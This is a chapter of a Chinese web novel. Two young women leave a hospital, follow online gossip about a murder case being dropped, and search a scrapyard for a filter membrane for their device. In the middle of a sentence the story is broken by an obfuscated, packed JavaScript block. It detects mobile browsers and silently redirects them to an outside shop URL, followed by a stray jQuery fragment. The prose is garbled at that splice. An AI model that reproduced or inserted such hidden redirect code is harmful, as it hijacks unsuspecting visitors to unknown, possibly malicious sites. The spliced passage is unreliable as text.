行吧,叶芾的确也是刚知道这事。
“你现在知道了,你会退赛吗?”
“不退。”
叶芾回答地斩钉截铁:“来都来了,为什么要退?”
“而且万一呢,万一有人在这场比赛中慧眼识珠,发现了我这个遗世的天才,抢着要买股我,给我庄园豪车,不管三七二十一,先给我卡上打几千万,你说,我的庄园要装修成什么风格呢?”
对面的姜祠则脸色复杂,她才知道,眼前这人不仅长得美,想得还美。
又过了一会儿,叶芾光脑响起。
她接起:“喂,刘老师......”
姜祠坐在石墩子上,眼看着叶芾的脸色迅速沉下去,心里有了不好的猜测,默不作声等她挂断,问了一句:“她怎么说?”
叶芾低头,看着她额头的伤口,喉咙滚了一下:“说监控坏了,看不了。”
姜祠沉默了,脸色浮现出失望的神情。
有时候人就是这样,虽然早就知道结果会是这样,但难免还是会心存侥幸。
直到结果摆在眼前。
“这个堆场每天要搬运那么多材料,还有那么多器材,我就不信这个监控是坏的。”
叶芾拍拍她的肩:“走吧,先去医院。”
——————————
两人做完检查已是晚上七点,姜祠的检查结果比预想的要麻烦得多——腰部软组织严重挫伤,被精神力丝线勒过的地方出现深层血肿。她被医生不由分说按在了治疗室里,叶芾靠在治疗室门外的墙上,听见里面不断传来姜祠的呼叫。
等姜祠被推出来的时候,她腰上缠着固定带,鼻头通红,显然刚才在里面哭得特别狼狈。叶芾唇角一弯,很想嘲笑她现在的样子,但瞅了一眼旁边的护士,又将话憋了回去。
住院部的床位早就满了,医生给姜祠安排在观察室的临时床位,但姜祠躺着不舒服,翻来覆去瞎折腾,最后干脆不躺了,叶芾陪着她,两个人在走廊的长椅上坐下来。
医院的走廊到了后半夜特别安静,顶灯关了大半,姜祠刚才躺床上说自己睡不着,结果现在坐椅子上反倒睡得迷迷糊糊的。
叶芾没有睡,她对面的墙上挂着一台信息屏,她将屏幕打开,开到静音,所有的内容都要收费,免费的只有几个小学生动画片。
算了,刷到什么看什么吧。
姜祠再醒来时,医院的走廊又开始忙起来,电子设备的外放声和打电话的声音搅在一起。
她皱着眉,缓缓活动了下肩膀。
扭过头,见叶芾正拿着光脑不知道在看什么。
“你一夜没睡?”
叶芾敷衍地嗯了声,目光始终没有从屏幕上移开,也不知道在忙什么。姜祠有些好奇,将脑袋凑过去,屏幕上是某臭名昭著的论坛,黑粉大战基地。
“最近有什么八卦吗?”姜祠问。
叶芾将整个帖子看完,才抬起头来:“你知道之前网上有个圣殿骑士虐杀哨兵一事吗?”
“啊?”姜祠的脑子宕机了半分钟后想起来:“哦,奇点星那个?那不是你们那儿的事吗?”
“对。我刚刚看到消息,反转了,杀人的不是她。”
她打开【星际吃瓜小组】的一篇帖子,姜祠看了一眼,标题写着【瓜:之前那个“圣殿骑士杀人案”有后续了,白塔那边出公告了(速看,随时删)】
楼主(匿名):RT,刚在内部群看到的截图,白塔发公告了,说证据不足,不起诉。
之前不是说那个骑士被扣了快一个月吗?我以为肯定要判了,结果就这样放了???
有没有懂法的来说说,“证据不足”是什么意思,是真的没证据,还是后台发力了。
1楼:卧槽,真的假的?前排吃瓜。
2楼:这瓜还没完?我以为早凉了?
3楼:楼主你小心点,这个案子涉及某不可说,我之前在别的组发帖直接被屏蔽了。
4楼:不是,我之前吃到的瓜是她跟死者有肢体接触,DNA都检测出来了。
有人回4楼:DNA出来只能说明她们有接触过,不能证明杀人。
5楼:笑发财了,评论是不是有粉丝在洗啊,都DNA了还证据不足,那什么证据才叫足啊?
6楼:蹲后续,有消息了踢我。
叶芾刚刚太困了,临时起意才刷的论坛。没想到上来第一条就是这篇帖子。
简直是意外之喜,是不是说明柴拱微现在已经出来了?
要不要现在就给她发消息?
还是算了,再等等,万一那条帖子只是有人捕风捉影?
叶芾打开微博,果然,热搜第一条就是#白塔公告奇点星命案证据不足不予起诉【爆】
热搜第二,#圣殿骑士团案件反转【爆】
热搜第四,#奇点星命案最新进展
她在几条热搜上来回划了几下,干脆点进第一条热搜。
白塔官方账号发布的蓝底公告出现在最上方,叶芾看了眼时间,才刚发布3分钟,转发区已经来到了5万转。因为开了精选,评论区空空荡荡什么都看不见。
这种时候,最精彩的就是转发区。
吃什么饭不是饭:时间线我看了,从案发到公告一共47天,47天查了个“证据不足”,这效率也是绝了。
骑士团激推bot:有些人真是闲的,一个案子从开始就在网上带节奏,现在官方结果出来了还不消停,你们是比白塔还懂法吗?还是说你们在质疑白塔?
路人甲今天也在吃瓜:笑死,坐骑粉这就开始护主了?你们大粉z骗小粉丝几百万这事解决完没,就在这转移视线?
圣殿骑士团数据组:谢谢白塔还圣殿骑士清白!关于评论区有指向性造谣的,辛苦大家多录屏,我会发给律师,到时候被告席上见。
叶芾阖上光脑,一股热切的情绪从胸腔中涌上来。这几天的憋闷终于一扫而空,她的嘴角控制不住地翘起来。
她拍了拍姜祠的肩:“走,回去。”
姜祠莫名其妙看了她一眼,但什么都没问。
两人走出医院大门,外面的天已经彻底亮了。炽热的阳光照在台阶上,空气都在发烫。一切都是光明,一切都是希望。
两人挤在早班车上回到集训中心,简单的洗个澡,换了身衣服。叶芾擦着头发走到窗前,手里握着的光脑刚结束跟柴拱微的通话。玻璃窗里露出点苍白、瘦削的下颌线。
她推开窗,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712892|206675||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爬山虎正垂在阳光里,不远处是几栋简朴的教学楼,透过窗户能看见一排排的学生正坐在教室里面读书,楼下人影稀疏,只有几个清洁工在扫地。
日光之下无新事。
在完成跃升前的等待过程总是十分漫长,但无所谓,她想,人生无非就是个泊松过程。
如此又过了三天。
这三天里,叶芾和姜祠每天背着营养剂,在堆场一呆就是一整天。上午找材料、画图纸,下午继续找材料、调试装置的参数。晚上挤在集装箱改造的临时工作室,焊电路板。日子过得极其规律。
偶尔还是会在堆场撞见贺景垚,都很默契地跟没看见对方一样,互不打扰。叶芾的举报材料已经提交白塔相关部门,她们的医药费和精神损害赔偿,也由贺景垚出资,在老师的公证下打到了她们的卡上。
小数点前多出来的数字,让叶芾觉得没什么是无法原谅的。
谁成想呢,不到一个月,她就从饥一顿饱一顿的穷高中生,变成了饥一顿饱一顿的富高中生。
“你找到没?我将那一圈找完了,都没找到。”姜祠大汗淋漓走进集装箱,额发湿漉漉贴在后脖颈上。她将手里几只好不容易拔出来的活塞放下,仰起脖子灌水。
堆场什么都不提供,饮用水和食物都须自带。幸亏叶芾和姜祠两人都不讲究吃穿,就着营养剂勉强维持着生命体征,几天下来,两个人肉眼可见地瘦了一圈。
叶芾比她先一步回来,桌上放着喝完的营养剂和冰水。
她摇摇头:“没呢,我那边也几乎找完了,一片过滤网都没找着。”
姜祠叉着腰,叹了口气:“奇了怪了,按理说一片过滤网而已,随随便便找个净化器拆一个出来就是了,结果全都不合适。”
叶芾要的那种超细纤维过滤网,理论上并不难找。
但问题是适配她们装置型号的,洁净度要高,而且孔径要在5微米以下,还能耐得住高温高湿的弱酸环境。
叶芾道:“我们已经找了那么久了,都找不到,那就是真的没有。”
“不要再在这里投入时间和精力了。”
“那怎么办?”姜祠问:“只剩一周了,难道我们现在重新换个设计方案?”
叶芾凝神思索了两秒,道:“我觉得还有个地方可以试试看,再找不到,我们就换方案。”
姜祠看着她:“哪儿?”
叶芾道:“堆场也有材料中转站,很多淘汰下来的东西都会被收到那边,我们去问问那里的工作人员,说不定他们手里有我们想要的。”
说干就干,两人立即动身。
经过多方辗转,终于打听到堆场中转站有个分拣员,姓陈,大家都叫他陈伯。
他们家早年从堆场收过一台二手的老式医用透析仪,是他儿子以前做治疗用的。机器已经坏了,但里面换下来的透析膜应该还在。那种膜的孔径最细可以达到一微米,比她们要的更加精准。
她们从堆场的工作人员那里要到陈伯的号码,打过去时心里已经做好最坏的打算。没成想光脑对面,陈伯听清来意后,声音里透出一丝意外,随即痛快的答应了。
“你们拿去用吧,我们家没人用这个,放着也是占地方。”